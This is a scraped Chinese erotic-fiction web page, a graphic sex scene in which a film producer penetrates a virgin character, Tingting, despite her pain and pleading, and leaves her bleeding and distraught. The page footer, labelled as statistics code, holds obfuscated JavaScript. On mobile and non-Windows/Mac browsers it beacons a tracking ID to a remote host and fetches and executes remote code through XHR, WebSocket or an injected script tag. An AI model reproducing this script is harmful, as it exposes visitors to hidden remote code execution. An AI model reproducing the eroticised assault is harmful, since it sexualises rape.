  因此,当老大发现鸡巴已经全部插入了,他立刻发动强烈的攻势,他一下紧接一下地,将八寸长的粗大阴茎拔出五寸左右,再狠狠全根刺入。 婷婷开始觉得一阵一阵的酥痒遍布全身。
  
  但是,经过了老大的抽插了三十几下之后。那阴户的肉洞口的屄肉,被插得一闭一翻,使得婷婷从痛苦中,变成掉入疼痛的深渊里。
  
  她咬紧了牙根,极力压制自己的痛苦,但是还是疼痛得受不了,她呻吟着: 「……啊……唔……哎哟……哎哟……啊……痛……痛……好……好痛……啊……哎哟……我……我……我的阴户……阴户……我的阴户……会……会裂开的……哎哟……妈呀……呀……啊……」婷婷一脸痛苦的表情,把自己的双手放在老大的腰部抵住,以减少他的冲击力。可是,婷婷愈是这样做,老大顶得也愈狠,就好象他有先天性的叛逆心理一样。
  
  这样过了大约十多分钟,老大抽插了近一千次。 婷婷紧蹙着的眉头,终于开了,她已不再感到先前的痛,代之而起的是麻胀酸苏的感觉… 老大脸上这个时刻才发出了笑容。他并且把头伏下去,用嘴巴含着乳头,一拉一放,乳房晃动着,刹是一阵好玩。 老大把乳头含在口中,用舌尖顶着奶头,一阵磨擦,又吸又舔,狠弄一翻。 「……啊……哎呀……好痒…啊……啊……好……痒死我了……好……好酸哟……唔……唔……嗯……嗯……哦……啊……」老大现在的动作,简直就是在做伏地挺身一般。肉棍直进直出,塞得阴户好不痛快,阴道内被胀得满满饱饱的。此刻两片充血的阴唇完完全全地被翻裂了开来。大鸡巴大力一进一出地抽送着,龟头下下顶撞着婷婷的屄花心的软肉。那嫩屄中的淫水淋漓,被肉棍儿插得「噗滋!噗滋!」吱吱作响。
  
  「……唔……噢……嗯……嗯……我受不了……唔……哎……啊……好痒……好酸……哟……哟……酸死我了……唔……唔……嗯嗯……」婷婷现在已经魂不附体,也不晓得拍到那里了,到底是拍,还是不拍了,也不知道。阴道被塞得又麻又胀,她被奸得屄心酸苏,全身发烫,口干舌燥,心里蹦蹦地跳着,好象在打鼓一样。 婷婷花心大开,淫水就像被开凿出来的泉水,从下面的屄洞中冒了出来。 老大这一次来回抽送了八百多下。干得婷婷双腿发软,四肢无力,两眼发黑,全身香汗直下。
  
  老大内心暗自想着: 「真没有想到这一次的美眉,竟然还没有被开苞,却被自己享用了,嘿嘿!滋味真是不错,干得好过瘾好痛快呀!」 婷婷身体剧烈地翻腾着,玉臀扭撼着,时而耸动阴户,迎合入侵的硬肉棒。因此老大每当龟头用力一顶时,震得婷婷全身颤抖发麻。 依据老大的经验判断,婷婷的体力已经不行了,可能撑不了多久了。 婷婷的双手紧紧地抱着老大的腰部,随着他身体的起落动着。
  
  突然,婷婷的呻吟声由低转高,由小而大,苦苦地求饶着: 「……啊……啊……我……我……我不行了……我……真的不行了……我……我……我受不了了……唔……唔……哎哟……哎哟……酸死我了……唔……唔…… 我……要死了……我……不行了……啊……啊……啊……」 当她叫声一停,人也随着摆平了,四肢一动也不动,就如同死人一般。 随着一股股热腾腾的阴精自花心内泄了出来,润湿了龟头。老大的龟头一经沾湿,全身颤抖了几下,再也使不出劲来了,双手一软,趴在婷婷的娇躯上。 龟头被阴精泡得发烫,颤抖不止,不由自主的精液「吱……吱……吱」地射向子宫深处。
  
  导演这个时候,喊着: 「卡!唉呀!太好了,这是我一生所碰到拍得最好的一次。」 工作人员开始收东西。 「制片!制片!」 导演一边拉着制片,一边叫着。制片从婷婷的身上醒了过来,问: 「导演,今天拍得怎幺样?」 导演高兴大叫: 「太好了,太棒了,真是逼真,制片可以起来了,我们收工了。」 「哦!」 制片起身穿着衣服,其它人员纷纷收工走了。
  
  现在现场只剩下制片、导演、婷婷,三个人。 「导演,她怎幺办?」 「嘿!她太累,还在睡,别理她,我们走吧,待会儿她自己会醒的。」 制片把地上的零碎衣服,盖在婷婷赤裸裸的胴体上面。 走吧!回去休息吧!」 说完,俩人一同离去。
  
  婷婷独自一个人不晓得在地上睡了多少时刻。突然,她觉得自己的阴户一阵裂开的刺痛,慢慢地醒了过来。 她本能反应的,用右手在阴户口上摸了一把,发现自己的手上沾满了带有血丝之淫水,不禁哭了起来。 她慢慢地站了起来,用自己的内裤把血迹阴精和那男人的精液擦掉。然后,把地上的衣服穿上,把内裤收在自己的提袋中,离开了这一间空房。 她像失掉灵魂的人,行走在道路上,深夜一片寂静和漆黑。她回到了公寓,首先,先把今天所发生的事情记在日记上。接着,她拿出提袋中,擦过处女血、淫水、和精液的内裤,在房间中点火燃烧。 虽然,证据已经被烧掉,可是内心的创痛永远无法平息的。
  
  然后,婷婷到洗澡间去洗澡,她想借着热水把自己的创伤洗掉。可是,她知道那是不可能的。 她打开了水龙头。水声唏哩哗啦地响着,婷婷开始洗涤身上,和今天所留下来的经验……





 

热门搜索

友情链接




返回首页 | 返回顶部

Copyright © 2020-2021  统计代码

统计代码
function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};